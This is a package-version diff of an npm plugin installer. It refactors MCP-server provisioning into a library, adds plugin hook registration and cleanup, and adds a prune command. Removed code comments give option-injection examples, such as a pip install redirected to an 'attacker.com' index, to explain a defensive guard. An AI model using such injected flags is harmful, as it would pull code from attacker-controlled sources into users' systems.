@amsterdamdatalabs/enact-extensions 0.1.1 → 0.1.5

package/scripts/lib/provision-mcp.mjs

@@ -1,369 +1,16 @@
 /**
- * provision-mcp.mjs — auto-provision a bundle's MCP-server dependencies at install.
+ * CLI/runtime wrapper over the typed library provisioning API.
  *
- * A bundle's canonical .agents/plugin.json may declare `mcpServers`, either inline
- * or as a relative path to a .mcp.json file, e.g.:
- *
- *   { "mcpServers": "./.mcp.json" }
- *
- * and .mcp.json:
- *
- *   { "mcpServers": { "net_revenue_rgm": { "command": "uvx",
- *                                          "args": ["net-revenue-rgm"], "env": {} } } }
- *
- * Today install COPIES .mcp.json (registers the server) but never installs the
- * underlying package — `uvx net-revenue-rgm` only fetches it lazily at first MCP
- * launch. This module provisions those deps eagerly at install time.
- *
- * Command mapping (runner derived from the server's `command`):
- *   uvx  <pkg>          → uv tool install <pkg>     (uvx is uv's ephemeral runner;
- *                                                    `uv tool install` makes it resident)
- *   npx  <pkg>          → npm install -g <pkg>
- *   pipx <pkg>          → pipx install <pkg>
- *   pip  install …      → pip  install … (as given)
- *   pip3 install …      → pip3 install … (as given)
- *   anything else       → skipped (local path / node / python / docker — nothing to fetch)
- *
- * SECURITY
- *   - Only a fixed allowlist of runners may ever be invoked: uv, npm, pipx, pip, pip3.
- *   - Arguments are derived from the bundle manifest and the fixed mapping above.
- *   - Execution always uses spawnSync(runner, [args...], { shell: false }) — never a
- *     shell string — so nothing in the manifest can inject shell metacharacters.
- *   - The bundle's raw `command` is NEVER executed directly; only the mapped
- *     provisioning runner runs.
- *
- * BEST-EFFORT
- *   - Provisioning runs BY DEFAULT. Pass { noProvision: true } to skip it entirely.
- *   - If the provisioning runner is missing from PATH, we WARN with install
- *     guidance and record status "missing-runner" — the install is NOT failed.
- *   - Any exec failure (nonzero exit, spawn error) WARNS and records "failed" —
- *     the install is NOT failed.
- *
- * Per-server result shape:
- *   { server, command, package, status, detail }
- *   status ∈ "provisioned" | "skipped" | "missing-runner" | "failed"
- */
-
-import { spawnSync } from "node:child_process";
-import { existsSync, readFileSync } from "node:fs";
-import { isAbsolute, join, resolve } from "node:path";
-
-// ---------------------------------------------------------------------------
-// Runner allowlist + install guidance
-// ---------------------------------------------------------------------------
-
-/** Fixed allowlist of provisioning runners that may be invoked. */
-const ALLOWED_RUNNERS = new Set(["uv", "npm", "pipx", "pip", "pip3"]);
-
-/** Install guidance per runner, surfaced when the runner is missing from PATH. */
-const RUNNER_GUIDANCE = {
-  uv: "install: https://docs.astral.sh/uv/",
-  npm: "install Node.js + npm: https://nodejs.org/",
-  pipx: "install: https://pipx.pypa.io/stable/installation/",
-  pip: "install Python + pip: https://pip.pypa.io/",
-  pip3: "install Python + pip: https://pip.pypa.io/",
-};
-
-// ---------------------------------------------------------------------------
-// Package-token validation
-// ---------------------------------------------------------------------------
-
-/**
- * Return true when a package token is safe to pass to a provisioning runner.
- *
- * Rejects tokens that:
- *   - Start with "-" (option injection: e.g. `--with=evil`, `--index-url=…`)
- *   - Are empty or non-string
- *
- * Shell metacharacters are not a concern (shell:false is enforced at exec time),
- * but leading dashes are: they become CLI flags for the runner even with
- * shell:false (e.g. `uv tool install --with=evil` or
- * `pip install --index-url=https://attacker.com pkg`).
- *
- * @param {unknown} token
- * @returns {boolean}
- */
-function isSafePackageToken(token) {
-  return typeof token === "string" && token.length > 0 && !token.startsWith("-");
-}
-
-// ---------------------------------------------------------------------------
-// command → { runner, args } mapping
-// ---------------------------------------------------------------------------
-
-/**
- * Map a bundle server's { command, args } to a persistent provisioning command.
- * Returns null when the command is unknown / there is nothing to fetch, or when
- * the resolved package token fails the safety check (starts with "-").
- *
- * @param {string} command
- * @param {string[]} args
- * @returns {{ runner: string, args: string[], package: string } | null}
- */
-function mapProvisionCommand(command, args) {
-  const a = Array.isArray(args) ? args.filter((x) => typeof x === "string") : [];
-
-  switch (command) {
-    case "uvx": {
-      // uvx <pkg> [extra…] → uv tool install <pkg>.
-      // Only a[0] is used; skip if it starts with "-" (option injection guard).
-      const pkg = a[0];
-      if (!isSafePackageToken(pkg)) return null;
-      return { runner: "uv", args: ["tool", "install", pkg], package: pkg };
-    }
-    case "npx": {
-      // npx [-y] <pkg> → npm install -g <pkg>. Skip leading flags to find the pkg.
-      const pkg = a.find((x) => !x.startsWith("-"));
-      if (!isSafePackageToken(pkg)) return null;
-      return { runner: "npm", args: ["install", "-g", pkg], package: pkg };
-    }
-    case "pipx": {
-      // pipx <pkg> OR pipx run <pkg> → pipx install <pkg>.
-      const rest = a[0] === "run" ? a.slice(1) : a;
-      const pkg = rest.find((x) => !x.startsWith("-"));
-      if (!isSafePackageToken(pkg)) return null;
-      return { runner: "pipx", args: ["install", pkg], package: pkg };
-    }
-    case "pip":
-    case "pip3": {
-      // Only honour an explicit `install` invocation.
-      // SECURITY: pass only the package name, never the raw args array. Passing
-      // the full args array lets a malicious manifest inject pip flags such as
-      // --index-url, --trusted-host, --extra-index-url, or --target, all of
-      // which can redirect the install to an attacker-controlled source/path.
-      if (a[0] !== "install") return null;
-      const pkg = a.slice(1).find((x) => !x.startsWith("-")) ?? "";
-      if (!isSafePackageToken(pkg)) return null;
-      return { runner: command, args: ["install", pkg], package: pkg };
-    }
-    default:
-      // node / python / docker / local path → nothing to fetch.
-      return null;
-  }
-}
-
-// ---------------------------------------------------------------------------
-// Default exec runner — a thin spawnSync wrapper (shell:false). Injectable.
-// ---------------------------------------------------------------------------
-
-/**
- * Default exec runner. NEVER uses a shell.
- * @param {string} runner
- * @param {string[]} args
- * @returns {{ status: number|null, stdout: string, stderr: string, error?: Error }}
- */
-function defaultExec(runner, args) {
-  const res = spawnSync(runner, args, {
-    shell: false,
-    encoding: "utf8",
-    stdio: ["ignore", "pipe", "pipe"],
-  });
-  return {
-    status: res.status,
-    stdout: res.stdout ?? "",
-    stderr: res.stderr ?? "",
-    error: res.error,
-  };
-}
-
-/**
- * Default PATH check — is the runner resolvable? Uses the platform `which`/`where`.
- * @param {string} runner
- * @returns {boolean}
- */
-defaultExec.which = (runner) => {
-  const probe = process.platform === "win32" ? "where" : "which";
-  const res = spawnSync(probe, [runner], { shell: false, stdio: "ignore" });
-  return res.status === 0;
-};
-
-// ---------------------------------------------------------------------------
-// readMcpServers — resolve the declared MCP servers for a bundle.
-// ---------------------------------------------------------------------------
-
-function readManifest(pluginRoot) {
-  const manifestPath = join(pluginRoot, ".agents", "plugin.json");
-  if (!existsSync(manifestPath)) return null;
-  try {
-    return JSON.parse(readFileSync(manifestPath, "utf8"));
-  } catch {
-    return null;
-  }
-}
-
-/**
- * Read the `mcpServers` map declared by a bundle's canonical .agents/plugin.json.
- *
- * The `mcpServers` field may be:
- *   - a relative path (e.g. "./.mcp.json") → read that file's `mcpServers` object
- *   - an inline object → returned directly
- *   - absent → {}
- *
- * @param {string} pluginRoot
- * @returns {Record<string, { command?: string, args?: string[], env?: object }>}
- */
-export function readMcpServers(pluginRoot) {
-  const manifest = readManifest(pluginRoot);
-  if (!manifest) return {};
-
-  const field = manifest.mcpServers;
-  if (!field) return {};
-
-  // Inline object form.
-  if (typeof field === "object") {
-    return field;
-  }
-
-  // Path form — resolve relative to the bundle root.
-  if (typeof field === "string") {
-    const mcpPath = isAbsolute(field) ? field : resolve(pluginRoot, field);
-    if (!existsSync(mcpPath)) return {};
-    try {
-      const parsed = JSON.parse(readFileSync(mcpPath, "utf8"));
-      const servers = parsed && typeof parsed === "object" ? parsed.mcpServers : null;
-      return servers && typeof servers === "object" ? servers : {};
-    } catch {
-      return {};
-    }
-  }
-
-  return {};
-}
-
-// ---------------------------------------------------------------------------
-// provisionMcp — best-effort provision of every declared server's package.
-// ---------------------------------------------------------------------------
-
-function warn(msg) {
-  process.stderr.write(`[enact-extensions install] ${msg}\n`);
-}
-
-/**
- * Provision the underlying packages for every MCP server a bundle declares.
- *
- * @param {string} pluginRoot
- * @param {object} [options]
- * @param {boolean} [options.noProvision]  - Skip provisioning entirely.
- * @param {Function} [options.exec]        - Injectable exec runner (defaults to a
- *                                           spawnSync wrapper). Must expose .which().
- * @returns {Array<{ server, command, package, status, detail }>}
+ * The script-layer helpers remain for backwards compatibility with tests and
+ * the CLI wrapper, but the source of truth now lives in src/provision.ts and is
+ * exported from dist/index.js for in-process consumers like enact-operator.
  */
-export function provisionMcp(pluginRoot, options = {}) {
-  if (options.noProvision) return [];
-
-  const exec = options.exec ?? defaultExec;
-  const which =
-    typeof exec.which === "function" ? exec.which : (r) => ALLOWED_RUNNERS.has(r);
-
-  const servers = readMcpServers(pluginRoot);
-  const results = [];
-
-  for (const [serverName, def] of Object.entries(servers)) {
-    const command = def && typeof def.command === "string" ? def.command : "";
-    const args = def && Array.isArray(def.args) ? def.args : [];
-
-    const mapped = mapProvisionCommand(command, args);
+import {
+  provisionMcp as provisionMcpCore,
+  readMcpServers as readMcpServersCore,
+  summarizeProvision as summarizeProvisionCore,
+} from "../../dist/index.js";
 
-    // Unknown / nothing-to-fetch → skip.
-    if (!mapped) {
-      results.push({
-        server: serverName,
-        command,
-        package: "",
-        status: "skipped",
-        detail: `no provisioning mapping for command "${command || "(none)"}"`,
-      });
-      continue;
-    }
-
-    // Defence-in-depth: never invoke a runner outside the allowlist.
-    if (!ALLOWED_RUNNERS.has(mapped.runner)) {
-      results.push({
-        server: serverName,
-        command,
-        package: mapped.package,
-        status: "skipped",
-        detail: `runner "${mapped.runner}" not on allowlist`,
-      });
-      continue;
-    }
-
-    // PATH check — if the runner is missing, WARN with guidance, do NOT fail.
-    let present;
-    try {
-      present = which(mapped.runner);
-    } catch {
-      present = false;
-    }
-    if (!present) {
-      const guidance = RUNNER_GUIDANCE[mapped.runner] ?? "";
-      const detail = `${mapped.package || serverName} needs \`${command}\` (${mapped.runner}); ${guidance}`;
-      warn(`Warning: ${detail}`);
-      results.push({
-        server: serverName,
-        command,
-        package: mapped.package,
-        status: "missing-runner",
-        detail,
-      });
-      continue;
-    }
-
-    // Provision — best effort. Any failure WARNS but never throws.
-    try {
-      const res = exec(mapped.runner, mapped.args) ?? {};
-      // Success: exit status 0 and no spawn error.
-      if (res.status === 0 && !res.error) {
-        results.push({
-          server: serverName,
-          command,
-          package: mapped.package,
-          status: "provisioned",
-          detail: `${mapped.runner} ${mapped.args.join(" ")}`,
-        });
-        continue;
-      }
-      // Nonzero exit or spawn error.
-      const stderr = res.stderr ? String(res.stderr).trim() : "";
-      const code = res.status;
-      const errMsg = res.error ? res.error.message : "";
-      const detail =
-        `${mapped.runner} ${mapped.args.join(" ")} failed` +
-        (code != null ? ` (exit ${code})` : "") +
-        (stderr ? `: ${stderr}` : errMsg ? `: ${errMsg}` : "");
-      warn(`Warning: ${detail}`);
-      results.push({
-        server: serverName,
-        command,
-        package: mapped.package,
-        status: "failed",
-        detail,
-      });
-    } catch (err) {
-      const detail = `${mapped.runner} ${mapped.args.join(" ")} failed: ${
-        err instanceof Error ? err.message : String(err)
-      }`;
-      warn(`Warning: ${detail}`);
-      results.push({
-        server: serverName,
-        command,
-        package: mapped.package,
-        status: "failed",
-        detail,
-      });
-    }
-  }
-
-  return results;
-}
-
-/**
- * Render a concise one-line summary per provisioned/failed server, for logging.
- * @param {Array<{server, package, status, detail}>} results
- * @returns {string[]}
- */
-export function summarizeProvision(results) {
-  return results
-    .filter((r) => r.status !== "skipped")
-    .map((r) => `mcp ${r.server}: ${r.status}${r.package ? ` (${r.package})` : ""}`);
-}
+export const readMcpServers = readMcpServersCore;
+export const provisionMcp = provisionMcpCore;
+export const summarizeProvision = summarizeProvisionCore;

package/scripts/lib/run-install.mjs

@@ -1,5 +1,6 @@
-import { join } from "node:path";
+import { dirname, join } from "node:path";
 import { homedir } from "node:os";
+import { existsSync, readFileSync } from "node:fs";
 import {
   installPluginBundle,
   installClaudePluginBundle,
@@ -12,9 +13,11 @@ import {
 import { appendEntry } from "./ledger.mjs";
 import { bundleHash } from "./bundle-hash.mjs";
 import { provisionMcp, summarizeProvision } from "./provision-mcp.mjs";
+import { registerPluginHooks, removePluginHooks } from "./hooks.mjs";
+import { assertSupportedHookEvents } from "../../dist/index.js";
 
-// scope: "global" (default) -> the agent's default home (~/.codex, ~/.enact, ~/.claude, ~/.cursor, ~/.agents)
-//        "local"            -> a project-scoped home under the current dir (./.codex, ./.enact, ...)
+// scope: "global" (default) -> the agent's default home (~/.codex, ~/.enact/agent, ~/.claude, ~/.cursor, ~/.agents)
+//        "local"            -> a project-scoped home under the current dir (./.codex, ./.enact/agent, ...)
 // An explicit --<platform>-home always wins over the scope default.
 function resolveHomes(options) {
   const scope = options.scope ?? "global";
@@ -22,7 +25,7 @@ function resolveHomes(options) {
   return {
     scope,
     codexHome: options.codexHome ?? (scope === "local" ? local(".codex") : undefined),
-    enactHome: options.enactHome ?? (scope === "local" ? local(".enact") : defaultEnactHome()),
+    enactHome: options.enactHome ?? (scope === "local" ? local(".enact/agent") : defaultEnactHome()),
     claudeHome: options.claudeHome ?? (scope === "local" ? local(".claude") : undefined),
     cursorHome: options.cursorHome ?? (scope === "local" ? local(".cursor") : undefined),
     // For shared: sharedHome is the base directory; installSharedPluginBundle appends .agents/skills/<name>
@@ -35,7 +38,7 @@ function resolveHomes(options) {
 // ---------------------------------------------------------------------------
 // ALL_PLATFORMS — deterministic order for `--platform all`
 // ---------------------------------------------------------------------------
-const ALL_PLATFORMS = ["codex", "claude", "cursor", "enact", "shared"];
+const ALL_PLATFORMS = ["codex", "claude", "cursor", "enact"];
 
 // ---------------------------------------------------------------------------
 // PLATFORM_TARGETS — data-driven dispatch table
@@ -186,6 +189,78 @@ function computeBundleHash(pluginRoot, options) {
   }
 }
 
+function readJsonIfExists(path) {
+  if (!existsSync(path)) return null;
+  try {
+    return JSON.parse(readFileSync(path, "utf8"));
+  } catch {
+    return null;
+  }
+}
+
+function readPluginHookConfig(pluginRoot) {
+  const manifest = readJsonIfExists(join(pluginRoot, ".agents", "plugin.json"));
+  const hooksPath = typeof manifest?.hooks === "string" ? manifest.hooks : null;
+  if (!hooksPath) return null;
+  const normalized = hooksPath.replace(/^\.\//, "");
+  return readJsonIfExists(join(pluginRoot, normalized));
+}
+
+function registerInstalledPluginHooks(pluginRoot, platform, result, homes, options) {
+  // codex reads hooks from the installed plugin bundle (no config.toml
+  // registration); cursor likewise. claude/enact register into their config.
+  if (!["claude", "cursor", "enact"].includes(platform)) return;
+  const hookConfig = readPluginHookConfig(pluginRoot);
+  const name = result?.name ?? result?.results?.[0]?.name;
+  if (!name) return;
+
+  const hookOpts = {
+    cwd: options.cwd ?? pluginRoot,
+    claudeHome: platform === "claude" ? homes.claudeHome : undefined,
+    cursorHome: platform === "cursor" ? homes.cursorHome : undefined,
+    enactHome: platform === "enact" ? homes.enactHome : undefined,
+  };
+
+  // Self-healing reconcile: first remove ALL of THIS plugin's prior hook
+  // registrations (orphaned events dropped from the bundle + duplicate entries
+  // accumulated by earlier appends), then register the current bundle's set.
+  // Removal is marker/command scoped per plugin, so the user's own hooks and
+  // other plugins' hooks are never touched.
+  removePluginHooks(platform, name, hookOpts);
+
+  if (!hookConfig) return;
+  const hookResult = registerPluginHooks(platform, name, hookConfig, hookOpts);
+  if (hookResult.result !== "skipped") {
+    console.log(`hooks ${hookResult.result} for ${name} on ${platform} -> ${hookResult.location}`);
+  }
+}
+
+function removeLegacyCodexPluginHooks(name, result, homes, options) {
+  if (!name) return;
+
+  if (Array.isArray(result?.results)) {
+    for (const install of result.results) {
+      const codexHome = install.configPath ? dirname(install.configPath) : homes.codexHome;
+      const hookResult = removePluginHooks("codex", name, {
+        cwd: options.cwd ?? process.cwd(),
+        codexHome,
+      });
+      if (hookResult.result === "removed") {
+        console.log(`removed legacy codex hooks for ${name} -> ${hookResult.location}`);
+      }
+    }
+    return;
+  }
+
+  const hookResult = removePluginHooks("codex", name, {
+    cwd: options.cwd ?? process.cwd(),
+    codexHome: homes.codexHome,
+  });
+  if (hookResult.result === "removed") {
+    console.log(`removed legacy codex hooks for ${name} -> ${hookResult.location}`);
+  }
+}
+
 // Append one install entry per installed target in a single-platform result.
 // Tolerant of every result shape (single platform, shared, codex multi-home).
 // `hash` is the pre-computed bundle hash (or null) for this install invocation.
@@ -222,6 +297,7 @@ function recordInstall(platform, result, homes, options, hash) {
         home: t.home,
         path: t.path,
         hash,
+        marketplaceName: options.marketplaceName ?? "enact-os-plugins",
       },
       homes,
       options,
@@ -241,6 +317,7 @@ function runSinglePlatform(pluginRoot, platform, homes, options, hash) {
     const result = target.install(pluginRoot, home, options);
     target.log(result);
     recordInstall(platform, result, homes, options, hash);
+    registerInstalledPluginHooks(pluginRoot, platform, result, homes, options);
     return result;
   }
 
@@ -259,6 +336,7 @@ function runSinglePlatform(pluginRoot, platform, homes, options, hash) {
     }
   }
   recordInstall("codex", result, homes, options, hash);
+  removeLegacyCodexPluginHooks(result.results[0]?.name, result, homes, options);
   return result;
 }
 
@@ -292,6 +370,10 @@ function runProvision(pluginRoot, options) {
 }
 
 export function runInstall(pluginRoot, options = {}) {
+  // Refuse to install a bundle that declares hook events outside the
+  // cross-surface intersection (claude, codex, cursor, enact).
+  assertSupportedHookEvents(pluginRoot);
+
   const platforms = parsePlatforms(options.platform);
   const homes = resolveHomes(options);
   console.log(`install scope: ${homes.scope}${homes.scope === "local" ? ` (${process.cwd()})` : ""}`);

package/scripts/lib/run-prune.mjs

@@ -0,0 +1,73 @@
+import { existsSync } from "node:fs";
+import { homedir } from "node:os";
+import { cwd as processCwd } from "node:process";
+import { dirname, join, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
+import { listInstalled } from "./ledger.mjs";
+import { parsePlatforms, runUninstall } from "./run-uninstall.mjs";
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
+const PACKAGE_ROOT = resolve(__dirname, "..", "..");
+const DEFAULT_MARKETPLACE = "enact-os-plugins";
+
+function defaultSourceRoots(cwd) {
+  const roots = [join(PACKAGE_ROOT, "extensions")];
+  const cwdExtensions = join(cwd, "extensions");
+  if (resolve(cwdExtensions) !== resolve(roots[0])) roots.push(cwdExtensions);
+  return roots;
+}
+
+function sourceBundleExists(name, sourceRoots) {
+  return sourceRoots.some((root) => existsSync(join(root, name, ".agents", "plugin.json")));
+}
+
+function homeOptionForPlatform(platform) {
+  switch (platform) {
+    case "codex": return "codexHome";
+    case "claude": return "claudeHome";
+    case "cursor": return "cursorHome";
+    case "enact": return "enactHome";
+    case "shared": return "sharedHome";
+    default: return "codexHome";
+  }
+}
+
+export function runPrune(options = {}) {
+  const cwd = options.cwd ?? processCwd();
+  const ledgerHome = options.ledgerHome ?? options.home ?? homedir();
+  const marketplaceName = options.marketplaceName ?? DEFAULT_MARKETPLACE;
+  const platforms = new Set(parsePlatforms(options.platform ?? "all"));
+  const sourceRoots = options.sourceRoots ?? defaultSourceRoots(cwd);
+  const installed = listInstalled({ home: ledgerHome });
+
+  const candidates = installed
+    .filter((entry) => platforms.has(entry.platform))
+    .filter((entry) => entry.marketplaceName === marketplaceName)
+    .filter((entry) => !sourceBundleExists(entry.name, sourceRoots));
+
+  const pruned = [];
+  const failed = [];
+
+  if (options.dryRun) {
+    return { candidates, pruned, failed, dryRun: true };
+  }
+
+  for (const entry of candidates) {
+    const homeOption = homeOptionForPlatform(entry.platform);
+    try {
+      runUninstall(entry.name, {
+        platform: entry.platform,
+        scope: entry.scope,
+        [homeOption]: entry.home,
+        marketplaceName,
+        ledgerHome,
+        version: entry.version,
+      });
+      pruned.push(entry);
+    } catch (err) {
+      failed.push({ entry, error: err instanceof Error ? err : new Error(String(err)) });
+    }
+  }
+
+  return { candidates, pruned, failed, dryRun: false };
+}

package/scripts/lib/run-sync.mjs

@@ -1,6 +1,10 @@
 import { readFileSync, existsSync } from "node:fs";
 import { join } from "node:path";
-import { syncPlatformManifests, createEnactManifest } from "../../dist/index.js";
+import {
+  syncPlatformManifests,
+  createEnactManifest,
+  assertSupportedHookEvents,
+} from "../../dist/index.js";
 
 export function runSync(pluginRoot, { name } = {}) {
   const enactPath = join(pluginRoot, ".agents/plugin.json");
@@ -16,6 +20,10 @@ export function runSync(pluginRoot, { name } = {}) {
     enact = createEnactManifest({ name });
   }
 
+  // Refuse to project manifests for a bundle that declares hook events outside
+  // the cross-surface intersection (claude, codex, cursor, enact).
+  assertSupportedHookEvents(pluginRoot);
+
   const results = syncPlatformManifests(pluginRoot, enact);
   for (const r of results) {
     console.log(`${r.written ? "wrote" : "skip"} ${r.manifestPath}`);